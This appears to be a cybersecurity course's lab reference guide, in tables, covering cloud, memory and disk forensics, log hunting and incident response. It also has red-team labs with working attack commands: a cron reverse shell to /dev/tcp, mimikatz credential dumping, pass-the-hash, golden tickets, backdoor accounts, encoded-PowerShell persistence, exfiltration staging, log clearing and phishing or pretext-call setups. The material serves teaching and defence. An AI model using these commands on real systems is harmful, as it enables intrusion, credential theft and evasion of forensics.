WRONG: 'permission denied' on docker commands — use sudo or add user to docker group

WRONG: kubectl 'connection refused' — check that cluster is running with 'minikube status' or 'kubectl cluster-info'

Task 4.4 — Cloud Forensics and Log Analysis

Command / Flag	What it does	Expected Output	How to Verify
`aws cloudtrail lookup-events --lookup-attributes AttributeKey=ResourceName,AttributeValue=bucket-name`	Queries CloudTrail for all API calls involving a specific resource — shows who accessed it, from where, and when	JSON list of events with EventTime, Username, SourceIPAddress, EventName	Look for DeleteObject, PutBucketPolicy events especially from unusual IP addresses or outside business hours
`aws ec2 describe-flow-logs`	Lists VPC Flow Logs configurations — shows whether network traffic is being logged	Flow log configurations with LogGroupName, TrafficType, DeliverLogsStatus	If DeliverLogsStatus = SUCCESS, logs are active. If no flow logs exist — this is a security gap. Note it.
`aws logs describe-log-groups`	Lists all CloudWatch log groups — shows what services are sending logs for monitoring	Array of logGroups with logGroupName, retentionInDays	Check retentionInDays — logs with null or very low retention can be deleted, impeding future investigations

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

Record the timeline of events from CloudTrail: Time | Who (Username/Role) | What (EventName) | From where (SourceIP)

Note any suspicious patterns: failed logins, unusual hours, unknown source IPs, mass downloads

Screenshot required: CloudTrail events showing at least one suspicious API call

Screenshot required: VPC Flow Logs configuration status

In analysis: CloudTrail is the single most important forensic source in AWS — without it investigations are impossible

LAB 5 — Cyber Forensics and Incident Response

CO5: Apply cyber forensic techniques for memory/disk analysis, log investigation, and incident response.

Task 5.1 — Memory Forensics with Volatility

Command / Flag	What it does	Expected Output	How to Verify
`winpmem.exe memory.dump (Windows) OR dd if=/dev/mem of=memory.dump (Linux)`	Captures a full memory dump of the running system. winpmem is for Windows, dd reads raw memory device on Linux. This preserves volatile evidence.	memory.dump file created with size matching installed RAM (e.g. 2GB file for 2GB RAM)	File size should be close to total RAM. If much smaller — capture may be partial. MD5 hash the file immediately for chain of custody.
`volatility -f memory.dump imageinfo`	Identifies the exact OS version and correct Volatility profile to use for analysis. You MUST do this before any other Volatility command.	Suggested profiles: Win10x64_19041 , Win7SP1x64 etc.	Use the FIRST suggested profile for all subsequent commands. If it fails, try the second suggestion.
`volatility -f memory.dump --profile=Win10x64_19041 pslist`	Lists all running processes at the time of memory capture with PID, parent PID, and start time	Table: Offset, Name, PID, PPID, Threads, Handles, Start	Normal processes: explorer.exe, svchost.exe, lsass.exe. Suspicious: powershell.exe started recently, unknown process names.
`volatility ... malfind`	Scans memory for injected code — finds processes with executable memory regions that are NOT backed by files on disk (classic malware indicator)	List of processes with injected regions showing hex dump of suspicious code	ANY result from malfind is suspicious. Note the process name, PID, and memory address. The MZ header (4D5A) indicates an executable.
`volatility ... netscan`	Shows all network connections in memory at time of capture — reveals malware C2 connections that may have since closed	Table: Offset, Proto, LocalAddr, ForeignAddr, State, PID, Owner	Look for ESTABLISHED connections to unusual IPs, especially from svchost.exe or non-network processes. Note any foreign IP addresses.
`volatility ... memdump -p [PID] -D dump/`	Extracts the complete memory contents of a specific process to a file for further analysis	dump/[PID].dmp file created	File size corresponds to process memory

			usage. Analyse with strings command: strings dump/[PID].dmp | grep -i http

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

Fill Table 5 — Process Analysis: Process Name | PID | PPID | Status | Risk Level | Reason

Example SUSPICIOUS entry: rundll32.exe | 3456 | 1420 | Suspicious | High | No command line args, unusual parent process

Screenshot required: pslist output showing all processes

Screenshot required: malfind output showing any injected code (MZ headers in memory)

Screenshot required: netscan output showing network connections with foreign IPs

Note: If a process shows injected code AND has a network connection — it is almost certainly malware

HOW TO CHECK CORRECT OUTPUT

Volatility WORKING: imageinfo shows suggested profiles without error

pslist SUCCESS: You see a list of 20+ Windows processes

malfind NORMAL RESULT: Some processes always show here (Internet Explorer, Chrome) — focus on unexpected ones

WRONG: 'No suitable address space mapping found' — wrong profile. Try a different one from imageinfo suggestions

WRONG: File not found — ensure the path to memory.dump is correct, use absolute path if needed

Task 5.2 — Disk Forensics with Autopsy

Command / Flag	What it does	Expected Output	How to Verify
`sudo dd if=/dev/sda1 of=disk_image.dd bs=4M conv=noerror`	Creates bit-for-bit copy of the disk partition — preserves everything including deleted files and slack space. conv=noerror skips bad sectors.	disk_image.dd file created equal to partition size	MD5 hash BEFORE and AFTER: md5sum disk_image.dd — hashes must match to prove integrity of forensic copy
`Autopsy — Create New Case / Import Image`	Opens Autopsy GUI for forensic analysis. You create a case, import the disk image, and run ingest modules automatically.	Autopsy analyses image and populates results in left panel	Left panel should show: Data Sources, Views, Results, Reports. Under Views > File Types — you see categorised files.
`Autopsy — Deleted Files view`	Shows files that have been deleted but not yet overwritten — file system marks sectors as available but data remains until overwritten	List of deleted files with names, paths, dates, and partially recovered content	Deleted files show in red in Autopsy. Select one and check the Hex view — if data is visible, recovery is possible.

`Autopsy — Timeline Analysis`	Creates a visual timeline of all file creation, modification, and access events — helps identify attacker activity sequence	Interactive timeline showing file events sorted by date and time	Look for clusters of activity at unusual hours. Files created/modified by malware often appear as dense clusters.

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

Record the MD5 hash of disk_image.dd for chain of custody documentation

List deleted files recovered with their names, original paths, and last modified dates

Screenshot required: Autopsy showing deleted files list with file details visible

Screenshot required: Timeline showing a suspicious cluster of file activity

In analysis: Describe the 3 timestamps (MAC times): Modified, Accessed, Created — attackers sometimes modify these (timestomping)

HOW TO CHECK CORRECT OUTPUT

DD COPY COMPLETE: dd shows 'x+0 records in / x+0 records out' and md5sum produces a hash

AUTOPSY WORKING: Image appears under Data Sources and file listing populates

DELETED FILES FOUND: Files appear with red X icon in Autopsy file browser

WRONG: 'Permission denied' on dd — run with sudo

WRONG: Autopsy shows empty tree — ingest modules did not run. Right-click data source > Run Ingest Modules

Task 5.3 — Log Analysis and Threat Hunting with Splunk

Command / Flag	What it does	Expected Output	How to Verify
`index=windows eventID=4688`	Event ID 4688 = Process Creation in Windows. This shows every process that was started with the command line used.	List of all process creation events with Username, CommandLine, ParentProcess	Suspicious: PowerShell with encoded commands (-enc BASE64STRING) , commands run as SYSTEM, unusual parent processes
`index=windows eventID=4624`	Event ID 4624 = Successful Logon. Tracking these across hosts reveals lateral movement patterns.	Logon events with Account Name, LogonType, Source IP	LogonType 3 = Network logon (remote). Many Type 3 logons from one IP to multiple hosts in short time = lateral movement
`index=windows eventID=4672`	Event ID 4672 = Special privileges assigned to a new logon — indicates admin/SYSTEM level access was granted	Events showing which user received special privileges	SYSTEM token assignment outside of normal service startup is suspicious — record username and time

`index=network bytes_out > 1000000000`	Searches network logs for any connection sending more than 1GB of data — identifies potential data exfiltration	Source IPs, destination IPs, and byte counts for large transfers	External IPs receiving large transfers during off-hours are the highest priority alert to investigate

✔ **WHAT TO WRITE IN YOUR OBSERVATION**

Fill Table 6 — Threat Hunting Results: Threat | Log Source | Evidence Found | Confidence | Severity
For lateral movement: count the number of unique hosts accessed by the suspicious user
Screenshot required: Splunk search results for EventID 4688 showing suspicious PowerShell commands
Screenshot required: Network exfiltration search results showing large transfers
Note the Splunk search syntax used — this becomes part of your incident response runbook

HOW TO CHECK CORRECT OUTPUT

Splunk WORKING: Search bar accepts queries and results populate below
Event 4688 RESULTS: You see CommandLine field in results — this is the key forensic field
EXFILTRATION FOUND: bytes_out > 1GB shows specific source user and external destination
WRONG: 'No results found' for eventID — check your index name matches your data source configuration
WRONG: bytes_out field missing — your network logs may use a different field name like 'bytes' or 'tx_bytes'

Task 5.4 — Incident Response Simulation

Command / Flag	What it does	Expected Output	How to Verify
`net user compromised_user /active:no`	Disables the compromised user account immediately — containment step. The account cannot log in but the account object and its audit trail is preserved.	The command completed successfully	Verify: net user compromised_user — output shows 'Account active: No'. Try logging in as that user — should be denied.
`dd if=/dev/sda1 of=forensic_image.dd`	Creates forensic disk image for evidence preservation BEFORE making any other changes to the system	disk image created	MUST be done before disabling services or changing configs — otherwise you destroy evidence
`taskkill /F /IM explorer.exe`	Force-terminates the Explorer process to immediately end the user's active session — stops ongoing data exfiltration in real time	SUCCESS: The process 'explorer.exe' was terminated	User's desktop session ends immediately. Verify by checking Task Manager — explorer.exe should not be running.

✔ **WHAT TO WRITE IN YOUR OBSERVATION**

Document the INCIDENT TIMELINE: When first detected, when contained, when eradicated, when recovered

Record all containment actions taken with timestamps

Screenshot required: Disabled user account (net user showing Account active: No)

Screenshot required: Evidence preservation step (dd command running with progress)

Your incident report must cover: Initial detection method | Attack vector | Scope of compromise | Steps taken | Lessons learned

HOW TO CHECK CORRECT OUTPUT

CONTAINMENT VERIFIED: Attempt login as compromised_user — should fail with 'account disabled'

EVIDENCE PRESERVED: forensic_image.dd file exists and MD5 hash is recorded

SCOPE ASSESSED: You can name all systems the attacker accessed, list all data potentially exposed

WRONG order: Never change anything on the live system before taking a forensic image — you contaminate evidence

COMPLETE IR: Your report covers all 6 phases: Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned

LAB 6 — Red Teaming and Advanced Exploitation

CO6: Implement red teaming methodologies including privilege escalation, lateral movement, and social engineering.

Task 6.1 — Privilege Escalation

Command / Flag	What it does	Expected Output	How to Verify
`whoami /priv (Windows)`	Lists all privileges assigned to the current user token — shows which privileges are Enabled vs Disabled	Table of privileges: SeImpersonatePrivilege, SeDebugPrivilege etc.	If SeImpersonatePrivilege is ENABLED — you can use Juicy Potato or similar to escalate to SYSTEM
`sudo -l (Linux)`	Lists which commands the current user can run as root with sudo — identifies direct privilege escalation paths	List of allowed commands: (ALL) NOPASSWD: /bin/bash OR specific commands	(ALL) NOPASSWD: /bin/bash means you can get root immediately with: sudo /bin/bash
`find / -perm -4000 2>/dev/null (Linux)`	Finds all files with SUID bit set — SUID programs run with the file owner's permissions (often root) regardless of who executes them	List of SUID binaries: /usr/bin/passwd, /bin/su, /usr/bin/python (if misconfigured)	Python/vim/find with SUID are exploitable. Check GTFOBins (gtfobins.github.io) for each binary found.
`mimikatz 'token::elevate' (Windows)`	Uses token impersonation to elevate to SYSTEM by stealing a higher-privileged process token from memory	Token Impersonation: SYSTEM token stolen, shell now runs as NT AUTHORITY\SYSTEM	After elevation: run 'whoami' — it must show NT AUTHORITY\SYSTEM to confirm escalation succeeded
`echo '* * * * * bash -i >& /dev/tcp/IP/4444 0>&1' >> /var/spool/cron/crontabs/root (Linux)`	Adds a reverse shell command to root's crontab — executes every minute giving persistent root access. Only works if crontab file is world-writable (misconfiguration).	Reverse shell received on nc -lvnp 4444 listener within 60 seconds	Set up nc listener first: nc -lvnp 4444. Within 1 minute you should receive root shell from the cron job.

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

Document the PRIVILEGE ESCALATION PATH: Start privilege level -> Vulnerability found -> Exploit used -> Final privilege level

Example: User (www-data) -> SUID Python binary found -> GTFOBins exploit -> root

Screenshot required: Initial 'whoami' showing low privilege, then FINAL 'whoami' showing root/SYSTEM

Screenshot required: The specific vulnerability that allowed escalation (sudo -l output, SUID binary listing, etc.)

Write CVSS score for the technique: SUID misconfiguration = CVSS 7.8 (High)

HOW TO CHECK CORRECT OUTPUT

ESCALATION SUCCESS: 'whoami' or 'getuid' shows root or NT AUTHORITY\SYSTEM

LINUX SUID: python -c 'import os; os.execl("/bin/sh", "sh")' gives root shell

WINDOWS TOKEN: mimikatz 'privilege::debug' must succeed first before token::elevate

WRONG: 'Access denied' on mimikatz — run mimikatz as admin first, then escalate to SYSTEM

WRONG: SUID python not found — look for other SUID binaries: nmap, vim, find, cp, awk

Task 6.2 — Lateral Movement

Command / Flag	What it does	Expected Output	How to Verify
`mimikatz 'sekurlsa::logonpasswords'`	Dumps all credentials cached in Windows LSASS memory — extracts NTLM hashes and sometimes plaintext passwords for all logged-in users	List of accounts with NTLM hashes and sometimes plaintext under 'Password :'	You need at minimum the NTLM hash (32 hex character string) for Pass-the-Hash. If plaintext shows — even better.
`pth-winexe -U DOMAIN/USER %NTLMHASH //TARGET_IP cmd.exe`	Pass-the-Hash: authenticates to remote system using the NTLM hash without knowing the plaintext password	Windows command prompt on TARGET_IP system	Run 'ipconfig' in the shell — it shows TARGET_IP's network config, confirming you are on a different machine
`psexec \\TARGET_IP -u DOMAIN\USER -p PASSWORD cmd.exe`	Uses SMB to execute commands on a remote Windows system using valid credentials — most common lateral movement tool	Remote command prompt on TARGET_IP	Run 'hostname' in the shell — it shows the TARGET's hostname, not your attacking machine's name
`mimikatz 'kerberos::golden /user:admin /domain:corp.local /sid:[SID] /krbtgt:[HASH]'`	Creates a Golden Ticket — a forged Kerberos ticket valid for any user on the domain, giving permanent domain admin access	Golden ticket created and injected into current session	After golden ticket: access any domain resource with klist — you should see the forged ticket in the Kerberos ticket cache

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

Document the LATERAL MOVEMENT PATH: Machine 1 (compromised) -> credentials found -> Machine 2 accessed -> etc.

Record how many machines you reached and what data/access was available on each

Screenshot required: mimikatz logonpasswords showing NTLM hash of at least one user

Screenshot required: Remote command prompt on second machine with 'hostname' and 'whoami' output

Note: Pass-the-Hash works because Windows NTLM authentication accepts the hash directly — the password is never needed

HOW TO CHECK CORRECT OUTPUT

CREDENTIALS DUMPED: You see NTLM hash (32 hex chars) for at least one domain user in mimikatz output

LATERAL MOVEMENT: hostname in remote shell shows DIFFERENT machine name than your starting point

WRONG: mimikatz 'privilege::debug' fails — need admin rights first. Escalate privileges before attempting

WRONG: pth-winexe fails with authentication error — verify NTLM hash format: no colons, 32 chars exactly

Task 6.3 — Social Engineering Attacks

Command / Flag	What it does	Expected Output	How to Verify
`GoPhish Campaign Setup`	GoPhish is a phishing simulation platform — create an email template, a fake landing page, and send to a target list to measure click rates	Campaign dashboard shows sent/opened/clicked/submitted metrics	SUCCESS METRIC: Any non-zero click rate shows vulnerability. 15-30% is typical for untrained users.
`USB Baiting`	Place a USB drive with a harmless autorun script in a visible location — document whether employees plug it in and what percentage execute the payload	Log entries showing USB was plugged in, script executed	If any script executes — physical security is insufficient. Document location, time, and what access was gained.
`Pretext Phone Call (IT Support)`	Call target claiming to be IT support and request password reset or sensitive info — tests whether employees verify caller identity before complying	Recording or notes of what information was disclosed	If the target provides info without verification — write specific quotes and the information type disclosed (e.g. 'provided email password')

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

Fill Table 7 — Campaign Results: Campaign Type | Targets | Opened | Clicked | Credentials Captured | Success Rate %

Screenshot required: GoPhish dashboard showing campaign statistics

For phone pretext: write a brief script of the call and what information was successfully obtained

Calculate success rates: Clicked/Sent x 100 = click-through rate

In analysis: Higher success rate = lower security awareness. Use these numbers to justify security awareness training budget.

HOW TO CHECK CORRECT OUTPUT

GoPhish WORKING: Dashboard shows sent count incrementing and tracking pixels registering opens

CLICK TRACKED: When you test-click your own phishing link, GoPhish records it in the dashboard

WRONG: Emails not delivered — check SMTP relay settings in GoPhish sending profile

WRONG: Clicks not tracked — ensure the tracking URL in your template uses GoPhish's {{.URL}} variable

Task 6.4 — Post-Exploitation and Data Exfiltration

Command / Flag	What it does	Expected Output	How to Verify
`net user backdoor P@ssw0rd /add`	Creates a new local user account as a backdoor — ensures persistent access even if the primary compromise is detected and remediated	The command completed successfully	Verify: net user — backdoor account appears in user list. Try login with those credentials to confirm.
`schtasks /create /tn 'System Update' /tr 'powershell -enc [BASE64]' /sc minute /mo 5`	Creates a scheduled task that executes every 5 minutes — provides persistent reverse shell even after reboots	SUCCESS: Scheduled task 'System Update' created	Run 'schtasks /query | findstr Update' — task appears. Wait 5 minutes — reverse shell listener receives new connection.
`7z a -pP@ssw0rd data.7z target_files\`	Compresses and password-encrypts files for exfiltration — makes data unreadable to DLP tools and reduces transfer size	data.7z archive created with password protection	Verify: 7z l data.7z — file list shows compressed files. Try opening without password — should be denied.
`wevtutil cl Application / wevtutil cl Security`	Clears Windows Event Logs to destroy forensic evidence — removes traces of attacker activity from standard log analysis	Log cleared message	Check Event Viewer after — Application and Security logs should be empty. Note: log clearing itself generates a tiny event (ID 1102).
`wevtutil cl Security (generates Event 1102)`	IMPORTANT: Clearing Security log generates Event ID 1102 — attackers cannot fully erase their tracks	Event 1102 always generated when Security log is cleared	Check for Event 1102 in Security log immediately after clearing — it is always created and is itself a forensic indicator

✔ WHAT TO WRITE IN YOUR OBSERVATION

Document ALL persistence mechanisms created: backdoor user, scheduled task, registry key, service

Screenshot required: Backdoor user account visible in net user output

Screenshot required: Scheduled task created and visible in schtasks /query output

Screenshot required: Compressed encrypted archive ready for exfiltration

IMPORTANT for analysis: Note that Event ID 1102 is created even when logs are cleared — complete anti-forensics is impossible in Windows

HOW TO CHECK CORRECT OUTPUT

PERSISTENCE: Reboot the machine — reverse shell connects back within 5 minutes (scheduled task ran)

EXFILTRATION READY: data.7z exists, is password protected, and contains the target files

TRACKS COVERED: Event Viewer shows empty logs — but Event 1102 appears immediately after clearing

WRONG: Scheduled task does not trigger — check the PowerShell execution policy: Set-ExecutionPolicy Bypass
WRONG: 7z not found — install with: sudo apt install p7zip-full

QUICK REFERENCE — Common Issues and Fixes

Universal Troubleshooting Checklist

Problem	Fix
No ping to target	Check VM network adapter is set to 'Host-Only' or 'Internal Network' — not NAT. Both VMs must be on the same virtual network.
Command not found	Install the tool: sudo apt install [toolname]. For Metasploit: msfdb init && msfconsole
Permission denied	Add sudo before the command. For Docker: sudo usermod -aG docker $USER then logout and back in
Exploit completed but no session	Target OS may not match exploit (e.g. EternalBlue on Linux). Confirm OS with nmap -O first.
SQLmap finds nothing	Set DVWA security to 'Low'. Copy your session cookie from browser and add --cookie='PHPSESSID=...' to command
Aircrack key not found	Use a bigger wordlist: /usr/share/wordlists/rockyou.txt. Use gunzip rockyou.txt.gz first.
Volatility wrong profile	Run imageinfo first. Try each suggested profile. If nothing works: use --profile=WinXPSP2x86 for old images
kubectl not connecting	Run: minikube start, then kubectl config use-context minikube
Bettercap no traffic	Target must browse HTTP sites, not HTTPS. Try browsing http://testphp.vulnweb.com on target
GoPhish emails not sent	Use a local SMTP relay or MailHog for lab testing — external SMTP providers block phishing tools

Lab Report Observation Template — What to Write

Section	What to write
Objective	Restate in your own words what you were trying to accomplish in this task
Procedure	Number each step. For every command: write the command + what it does + what output you got
Observation	Fill the table from the lab book. Write exactly what you observed — tool output, results, timestamps
Analysis	Explain WHAT the results mean and WHY this is a security issue. Link to CVSS score.
Recommendations	Write 3-5 specific, actionable security controls that would prevent this attack
Conclusion	1-2 sentences: what was demonstrated, what was learned, what the security implication is
Screenshots	Label every screenshot: 'Figure 1: Task 1.1 — nmap -sV output showing open ports on 192.168.1.20'

— End of Reference Guide —